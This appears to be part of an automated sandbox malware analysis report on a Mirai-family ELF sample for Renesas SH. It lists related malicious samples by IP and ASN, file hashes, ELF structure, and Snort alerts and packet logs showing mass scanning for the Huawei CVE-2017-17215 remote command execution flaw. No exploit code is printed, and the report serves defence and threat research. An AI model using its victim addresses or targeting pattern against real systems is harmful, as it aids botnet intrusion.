186.208.144.148	unknown	Brazil	52881	VirtualMostardas-ComdeArtdeInformaticaLtdaBR	false
121.198.26.159	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
94.194.73.248	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
156.143.170.157	unknown	United States	14319	FURMAN-2US	false
156.25.33.6	unknown	Switzerland	25021	CIEF-ASEtatdeFribourgSITelCH	false
31.73.32.225	unknown	United Kingdom	12576	EELtdGB	false
37.233.98.160	unknown	Poland	198717	TECHSTORAGEPL	false
45.65.58.235	unknown	Afghanistan	134134	NORTHTELECOM-AFNorthTelecomAF	false
181.52.29.247	unknown	Colombia	10620	TelmexColombiaSACO	false
190.67.85.71	unknown	Colombia	3816	COLOMBIATELECOMUNICACIONESSAESPCO	false
31.163.215.151	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
31.36.67.73	unknown	France	5410	BOUYGTEL-ISPFR	false
186.203.31.70	unknown	Brazil	26615	TIMSABR	false
181.48.255.103	unknown	Colombia	14080	TelmexColombiaSACO	false
197.232.116.187	unknown	Kenya	36866	JTLKE	false
122.68.231.244	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
138.110.230.44	unknown	United States	396349	FIVE-COLLEGE-DATA-NETWORK-ASUS	false
181.21.8.128	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
197.76.213.143	unknown	South Africa	16637	MTNNS-ASZA	false
45.190.235.61	unknown	unknown	269654	JJNetTelecomunicacoesLTDABR	false
45.1.177.243	unknown	United States	7377	UCSDUS	false
222.100.31.26	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
45.175.110.196	unknown	Brazil	268901	JGFDEOLIVEIRA-MEBR	false
94.194.198.154	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
41.186.122.62	unknown	Rwanda	36890	MTNRW-ASNRW	false
31.112.131.161	unknown	United Kingdom	12576	EELtdGB	false
190.248.105.48	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
181.245.93.10	unknown	Colombia	26611	COMCELSACO	false
186.20.12.243	unknown	Chile	6535	TelmexServiciosEmpresarialesSACL	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
156.204.25.216	h635QTHfHV.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	nAEkwPwz3w.elf	Get hash	malicious	Mirai, Moobot	Browse
	arm	Get hash	malicious	Unknown	Browse
	er4qb8O5n1	Get hash	malicious	Mirai	Browse
190.70.206.162	sora.arm.elf	Get hash	malicious	Mirai	Browse
197.148.170.248	XoHah0ozAL.elf	Get hash	malicious	Mirai, Moobot	Browse
	ZPLRrE8bro.elf	Get hash	malicious	Mirai, Moobot	Browse
	bk.arm5-20220929-1806.elf	Get hash	malicious	Mirai	Browse
	8VHOzcRDjl	Get hash	malicious	Gafgyt, Mirai	Browse
	8rqhnVgyew	Get hash	malicious	Mirai	Browse
	IAEKAiR8SL	Get hash	malicious	Mirai	Browse
	Jw0RJGcmKw	Get hash	malicious	Mirai	Browse
31.115.246.99	2O02FdB4dp	Get hash	malicious	Mirai	Browse
31.115.246.99	UNE5KgEncZ	Get hash	malicious	Mirai	Browse
197.211.66.38	9Wyv0VB2ho.elf	Get hash	malicious	Mirai	Browse
	CFno42L741.elf	Get hash	malicious	Mirai, Moobot	Browse
	QrKL4J7lfM.elf	Get hash	malicious	Mirai, Moobot	Browse
	arm7	Get hash	malicious	Mirai	Browse
	Ibt1CP1pqo	Get hash	malicious	Mirai	Browse
	VJAGa1CbxA	Get hash	malicious	Mirai	Browse
	UguI8hPCWh	Get hash	malicious	Mirai	Browse
102.90.150.238	FgN5671EAq.elf	Get hash	malicious	Unknown	Browse
	8mZC2r0sUz	Get hash	malicious	Unknown	Browse
	bFSG6nzHxT	Get hash	malicious	Mirai	Browse
102.118.209.96	eyIK8NdtWo.elf	Get hash	malicious	Unknown	Browse
31.85.27.145	dBmJXcsqS4	Get hash	malicious	Unknown	Browse
197.75.183.164	7Ueun89KE3.elf	Get hash	malicious	Mirai	Browse
	kTnqWHyjjG.elf	Get hash	malicious	Mirai	Browse
	9BrsO1bmfY.elf	Get hash	malicious	Mirai	Browse
	x86-20220620-2150	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TelefonicadeArgentinaAR	8l3OprbuHf.elf	Get hash	malicious	Unknown	Browse	190.174.0.53
	Z4s9xPQyPM.elf	Get hash	malicious	Unknown	Browse	186.131.140.169
	PuiAhrIQLV.elf	Get hash	malicious	Unknown	Browse	190.176.180.38
	Y43DwTCGE7.elf	Get hash	malicious	Mirai	Browse	191.85.150.145
	8BNdCdDk17.elf	Get hash	malicious	Mirai	Browse	190.172.30.100
	oBnUnwroXT.elf	Get hash	malicious	Mirai	Browse	179.46.105.65
	1twUOES3sy.elf	Get hash	malicious	Mirai	Browse	179.44.30.131
	WAFYMiJoIs.elf	Get hash	malicious	Mirai	Browse	201.180.141.17
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	186.63.15.231
	us1fzeuiZj.elf	Get hash	malicious	Unknown	Browse	181.26.239.106
EPMTelecomunicacionesSAESPCO	eyIK8NdtWo.elf	Get hash	malicious	Unknown	Browse	190.29.50.104
	8l3OprbuHf.elf	Get hash	malicious	Unknown	Browse	181.136.190.100
	consigna.zip	Get hash	malicious	Remcos	Browse	181.131.217.74
	6FQG7ckQYK.elf	Get hash	malicious	Mirai	Browse	181.142.241.205
	Udx2BpoMA3.elf	Get hash	malicious	Mirai	Browse	190.0.60.152
	XeWgeH74wX.elf	Get hash	malicious	Mirai	Browse	181.133.161.8
	i6mpMiwNMm.elf	Get hash	malicious	Mirai	Browse	190.248.105.18
	x8eKL0pdy5.elf	Get hash	malicious	Mirai	Browse	190.240.186.141
	8n8geGZx5O.elf	Get hash	malicious	Mirai	Browse	181.136.189.249
	jvG1D0qRiu.elf	Get hash	malicious	Mirai	Browse	201.184.41.46
AIRTELMADAMG	arm7.elf	Get hash	malicious	Mirai	Browse	197.148.170.242
	arm7.elf	Get hash	malicious	Mirai	Browse	197.148.170.247
	b3astmode.arm.elf	Get hash	malicious	Mirai	Browse	197.148.170.249
	b3astmode.arm7.elf	Get hash	malicious	Mirai	Browse	197.148.170.249
	ePF37eYz8X.elf	Get hash	malicious	Mirai	Browse	197.148.170.251
	arm7-20231212-1137.elf	Get hash	malicious	Mirai	Browse	197.148.170.238
	i686.elf	Get hash	malicious	Mirai	Browse	197.148.170.232
	e74Xkt1ot5.elf	Get hash	malicious	Mirai, Moobot	Browse	197.148.170.243
	3mq43XQh0s.elf	Get hash	malicious	Mirai	Browse	197.148.170.239
	x443MVEeLX.elf	Get hash	malicious	Mirai	Browse	197.148.170.240
EELtdGB	eyIK8NdtWo.elf	Get hash	malicious	Unknown	Browse	31.77.209.44
	8l3OprbuHf.elf	Get hash	malicious	Unknown	Browse	31.127.110.229
	4eBW5heMG4.elf	Get hash	malicious	Mirai	Browse	31.127.110.207
	PuiAhrIQLV.elf	Get hash	malicious	Unknown	Browse	31.77.209.27
	rVO31Q5yX2.elf	Get hash	malicious	Mirai	Browse	31.73.43.90
	Udx2BpoMA3.elf	Get hash	malicious	Mirai	Browse	178.103.83.116
	MTHJdsxrlR.elf	Get hash	malicious	Mirai	Browse	31.97.234.253
	uOwBMTUHGg.elf	Get hash	malicious	Mirai	Browse	178.105.88.171
	49nLHo99Hf.elf	Get hash	malicious	Mirai	Browse	178.96.108.108
	Au7iqS4S75.elf	Get hash	malicious	Mirai	Browse	31.112.58.43
TE-ASTE-ASEG	eyIK8NdtWo.elf	Get hash	malicious	Unknown	Browse	41.42.142.182
	8l3OprbuHf.elf	Get hash	malicious	Unknown	Browse	41.239.218.89
	Z4s9xPQyPM.elf	Get hash	malicious	Unknown	Browse	197.33.36.82
	4eBW5heMG4.elf	Get hash	malicious	Mirai	Browse	41.39.124.199
	PuiAhrIQLV.elf	Get hash	malicious	Unknown	Browse	197.58.204.236
	XQzNZAeqtW.elf	Get hash	malicious	Mirai	Browse	197.39.128.61
	G1Qu0bquaq.elf	Get hash	malicious	Mirai	Browse	197.59.230.20
	flB6ygLzMc.elf	Get hash	malicious	Mirai	Browse	156.193.32.241
	LhzvaAYMk3.elf	Get hash	malicious	Mirai	Browse	41.239.218.33
	F9eqjesWZR.elf	Get hash	malicious	Mirai	Browse	197.43.51.143

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.808782057782052
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	d9PdCrDQ8X.elf
File size:	75'156 bytes
MD5:	d581d6c28be4e8f377c262d286fa26c6
SHA1:	860123f5fcb90bea1fba2b224534e372e48c5e2d
SHA256:	e87c79ccad530c3dc25895be2dc7f25f64a24ef512f096a17f877283da942260
SHA512:	85493e9fa11ca2a5b130fe49f96ebee45c9e5a7a8d875504a4af4454ea5b0fe45185eb4aee94bf3b037f6705214589ebdc287ff236e514cbb899dc971763eebd
SSDEEP:	1536:naD18S2ZE+A25DaOK92eHKJku9gsx+ZCjlcjkmx:n9S2ZE+4O82eqJesx+Znx
TLSH:	40739C32C0284D58C1848AB0B5E4DF711B63F91092573FFA4A86C6799843EEEF1593FA
File Content Preview:	.ELF.....................@.4....$......4. ...(...............@...@.X...X................ ... B.. B.....\)..........Q.td............................././"O.n........#.@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	74756
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0xfee0	0x0	0x6	AX	32
.fini	PROGBITS	0x40ffc0	0xffc0	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x40ffe4	0xffe4	0x1974	0x0	0x2	A	4
.ctors	PROGBITS	0x422000	0x12000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x422008	0x12008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x422014	0x12014	0x3b0	0x0	0x3	WA	4
.bss	NOBITS	0x4223c4	0x123c4	0x2598	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x123c4	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x11958	0x11958	6.9441	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x12000	0x422000	0x422000	0x3c4	0x295c	2.6758	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
02/19/24-18:35:54.441383	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49578	37215	192.168.2.23	45.207.185.93
02/19/24-18:35:54.793808	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34270	37215	192.168.2.23	31.200.102.30
02/19/24-18:35:54.707400	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41992	37215	192.168.2.23	31.136.103.148
02/19/24-18:35:54.783835	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32950	37215	192.168.2.23	31.200.101.60
02/19/24-18:35:41.840136	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60598	37215	192.168.2.23	31.200.37.46
02/19/24-18:35:41.859208	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60040	37215	192.168.2.23	31.200.124.108
02/19/24-18:35:54.435920	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53282	37215	192.168.2.23	45.207.143.109
02/19/24-18:35:47.306767	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45918	37215	192.168.2.23	31.200.81.98
02/19/24-18:35:50.047574	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50194	37215	192.168.2.23	45.125.57.80
02/19/24-18:35:54.704138	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51482	37215	192.168.2.23	31.136.225.12
02/19/24-18:35:54.441699	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47904	37215	192.168.2.23	45.207.134.167
02/19/24-18:35:47.245343	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53412	37215	192.168.2.23	31.136.116.1
02/19/24-18:35:54.950298	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34588	37215	192.168.2.23	31.24.86.71
02/19/24-18:35:54.524525	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35580	37215	192.168.2.23	31.136.86.201
02/19/24-18:35:54.783835	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32950	37215	192.168.2.23	31.200.101.60
02/19/24-18:35:54.528743	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44266	37215	192.168.2.23	31.136.28.189
02/19/24-18:35:54.704557	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55528	37215	192.168.2.23	31.136.207.210
02/19/24-18:35:49.924235	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32800	37215	192.168.2.23	45.207.150.124
02/19/24-18:35:54.707400	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41992	37215	192.168.2.23	31.136.103.148
02/19/24-18:35:54.658812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57210	37215	192.168.2.23	31.200.93.247
02/19/24-18:35:54.950298	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34588	37215	192.168.2.23	31.24.86.71
02/19/24-18:35:50.845695	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37370	37215	192.168.2.23	45.33.251.121
02/19/24-18:35:54.704138	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51482	37215	192.168.2.23	31.136.225.12
02/19/24-18:35:47.245615	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58328	37215	192.168.2.23	31.31.168.14
02/19/24-18:35:47.244055	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49888	37215	192.168.2.23	31.136.6.149
02/19/24-18:35:54.800104	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48036	37215	192.168.2.23	31.200.92.35
02/19/24-18:35:41.806071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45794	37215	192.168.2.23	31.136.239.96
02/19/24-18:35:47.242761	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59110	37215	192.168.2.23	31.136.194.47
02/19/24-18:35:49.918583	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39406	37215	192.168.2.23	45.207.135.78
02/19/24-18:35:54.442352	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55034	37215	192.168.2.23	45.207.133.229
02/19/24-18:35:54.658812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57210	37215	192.168.2.23	31.200.93.247
02/19/24-18:35:54.651309	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40076	37215	192.168.2.23	31.200.25.130
02/19/24-18:35:41.840136	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60598	37215	192.168.2.23	31.200.37.46
02/19/24-18:35:54.526681	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34586	37215	192.168.2.23	31.136.242.93
02/19/24-18:35:54.648624	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56056	37215	192.168.2.23	31.200.59.235
02/19/24-18:35:47.306767	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45918	37215	192.168.2.23	31.200.81.98
02/19/24-18:35:41.840024	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47862	37215	192.168.2.23	31.200.50.90
02/19/24-18:35:49.918268	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48150	37215	192.168.2.23	45.207.136.175
02/19/24-18:35:54.781686	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58810	37215	192.168.2.23	31.200.104.7
02/19/24-18:35:41.805867	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51534	37215	192.168.2.23	31.136.53.108
02/19/24-18:35:47.243496	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57332	37215	192.168.2.23	31.136.245.12
02/19/24-18:35:47.242522	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55980	37215	192.168.2.23	31.136.254.134
02/19/24-18:35:50.047574	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50194	37215	192.168.2.23	45.125.57.80
02/19/24-18:35:47.242177	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36944	37215	192.168.2.23	31.136.19.12
02/19/24-18:35:47.243747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42198	37215	192.168.2.23	31.136.117.81
02/19/24-18:35:54.568259	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56824	37215	192.168.2.23	94.120.246.208
02/19/24-18:35:54.703846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54162	37215	192.168.2.23	31.136.90.72
02/19/24-18:35:49.917885	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48738	37215	192.168.2.23	45.207.158.168
02/19/24-18:35:47.244055	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49888	37215	192.168.2.23	31.136.6.149
02/19/24-18:35:47.243153	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60330	37215	192.168.2.23	31.136.215.98
02/19/24-18:35:54.526681	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34586	37215	192.168.2.23	31.136.242.93
02/19/24-18:35:47.243496	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57332	37215	192.168.2.23	31.136.245.12
02/19/24-18:35:47.245615	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58328	37215	192.168.2.23	31.31.168.14
02/19/24-18:35:42.738146	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35782	37215	192.168.2.23	45.42.88.243
02/19/24-18:35:47.242522	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55980	37215	192.168.2.23	31.136.254.134
02/19/24-18:35:50.845814	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45102	37215	192.168.2.23	45.41.87.97
02/19/24-18:35:47.243747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42198	37215	192.168.2.23	31.136.117.81
02/19/24-18:35:54.800104	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48036	37215	192.168.2.23	31.200.92.35
02/19/24-18:35:47.241747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35348	37215	192.168.2.23	31.136.167.127
02/19/24-18:35:47.216031	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36238	37215	192.168.2.23	31.25.12.63
02/19/24-18:35:54.703846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54162	37215	192.168.2.23	31.136.90.72
02/19/24-18:35:42.738000	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57704	37215	192.168.2.23	45.43.225.248
02/19/24-18:35:54.707724	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36918	37215	192.168.2.23	31.136.188.247
02/19/24-18:35:49.917885	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48738	37215	192.168.2.23	45.207.158.168
02/19/24-18:35:54.442352	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55034	37215	192.168.2.23	45.207.133.229
02/19/24-18:35:54.568259	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56824	37215	192.168.2.23	94.120.246.208
02/19/24-18:35:47.243153	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60330	37215	192.168.2.23	31.136.215.98
02/19/24-18:35:54.342496	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57674	37215	192.168.2.23	45.43.224.98
02/19/24-18:35:41.805867	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51534	37215	192.168.2.23	31.136.53.108
02/19/24-18:35:54.648624	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56056	37215	192.168.2.23	31.200.59.235
02/19/24-18:35:50.845814	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45102	37215	192.168.2.23	45.41.87.97
02/19/24-18:35:54.651309	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40076	37215	192.168.2.23	31.200.25.130
02/19/24-18:35:42.738000	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57704	37215	192.168.2.23	45.43.225.248
02/19/24-18:35:54.781686	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58810	37215	192.168.2.23	31.200.104.7
02/19/24-18:35:47.241747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35348	37215	192.168.2.23	31.136.167.127
02/19/24-18:35:50.845695	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37370	37215	192.168.2.23	45.33.251.121
02/19/24-18:35:41.840024	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47862	37215	192.168.2.23	31.200.50.90
02/19/24-18:35:47.242177	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36944	37215	192.168.2.23	31.136.19.12
02/19/24-18:35:54.342496	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57674	37215	192.168.2.23	45.43.224.98
02/19/24-18:35:42.738146	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35782	37215	192.168.2.23	45.42.88.243
02/19/24-18:35:49.918268	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48150	37215	192.168.2.23	45.207.136.175
02/19/24-18:35:54.707724	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36918	37215	192.168.2.23	31.136.188.247
02/19/24-18:35:54.704557	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55528	37215	192.168.2.23	31.136.207.210
02/19/24-18:35:41.859208	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60040	37215	192.168.2.23	31.200.124.108
02/19/24-18:35:47.245343	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53412	37215	192.168.2.23	31.136.116.1
02/19/24-18:35:47.242761	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59110	37215	192.168.2.23	31.136.194.47
02/19/24-18:35:54.793808	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34270	37215	192.168.2.23	31.200.102.30
02/19/24-18:35:54.441699	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47904	37215	192.168.2.23	45.207.134.167
02/19/24-18:35:47.216031	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36238	37215	192.168.2.23	31.25.12.63
02/19/24-18:35:49.924235	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32800	37215	192.168.2.23	45.207.150.124
02/19/24-18:35:54.435920	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53282	37215	192.168.2.23	45.207.143.109
02/19/24-18:35:41.806071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45794	37215	192.168.2.23	31.136.239.96
02/19/24-18:35:54.524525	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35580	37215	192.168.2.23	31.136.86.201
02/19/24-18:35:54.441383	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49578	37215	192.168.2.23	45.207.185.93
02/19/24-18:35:49.918583	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39406	37215	192.168.2.23	45.207.135.78
02/19/24-18:35:54.528743	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44266	37215	192.168.2.23	31.136.28.189

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 19, 2024 18:35:34.675616980 CET	43928	443	192.168.2.23	91.189.91.42
Feb 19, 2024 18:35:36.375890017 CET	44146	5034	192.168.2.23	41.216.183.27
Feb 19, 2024 18:35:36.377732992 CET	54001	37215	192.168.2.23	121.191.120.15
Feb 19, 2024 18:35:36.377779961 CET	54001	37215	192.168.2.23	121.231.129.15
Feb 19, 2024 18:35:36.377794981 CET	54001	37215	192.168.2.23	121.197.232.51
Feb 19, 2024 18:35:36.377825975 CET	54001	37215	192.168.2.23	121.217.190.8
Feb 19, 2024 18:35:36.377856016 CET	54001	37215	192.168.2.23	121.234.43.139
Feb 19, 2024 18:35:36.377863884 CET	54001	37215	192.168.2.23	121.169.158.55
Feb 19, 2024 18:35:36.377865076 CET	54001	37215	192.168.2.23	121.254.39.114
Feb 19, 2024 18:35:36.377865076 CET	54001	37215	192.168.2.23	121.9.159.150
Feb 19, 2024 18:35:36.377909899 CET	54001	37215	192.168.2.23	121.55.212.130
Feb 19, 2024 18:35:36.377912045 CET	54001	37215	192.168.2.23	121.74.103.17
Feb 19, 2024 18:35:36.377921104 CET	54001	37215	192.168.2.23	121.12.162.161
Feb 19, 2024 18:35:36.377923965 CET	54001	37215	192.168.2.23	121.78.121.236
Feb 19, 2024 18:35:36.377938986 CET	54001	37215	192.168.2.23	121.107.52.130
Feb 19, 2024 18:35:36.377949953 CET	54001	37215	192.168.2.23	121.33.13.121
Feb 19, 2024 18:35:36.377984047 CET	54001	37215	192.168.2.23	121.232.18.70
Feb 19, 2024 18:35:36.378002882 CET	54001	37215	192.168.2.23	121.158.68.51
Feb 19, 2024 18:35:36.378011942 CET	54001	37215	192.168.2.23	121.229.178.203
Feb 19, 2024 18:35:36.378017902 CET	54001	37215	192.168.2.23	121.149.92.120
Feb 19, 2024 18:35:36.378026962 CET	54001	37215	192.168.2.23	121.46.195.12
Feb 19, 2024 18:35:36.378040075 CET	54001	37215	192.168.2.23	121.224.38.60
Feb 19, 2024 18:35:36.378062010 CET	54001	37215	192.168.2.23	121.118.141.235
Feb 19, 2024 18:35:36.378082991 CET	54001	37215	192.168.2.23	121.182.187.170
Feb 19, 2024 18:35:36.378087997 CET	54001	37215	192.168.2.23	121.199.235.133
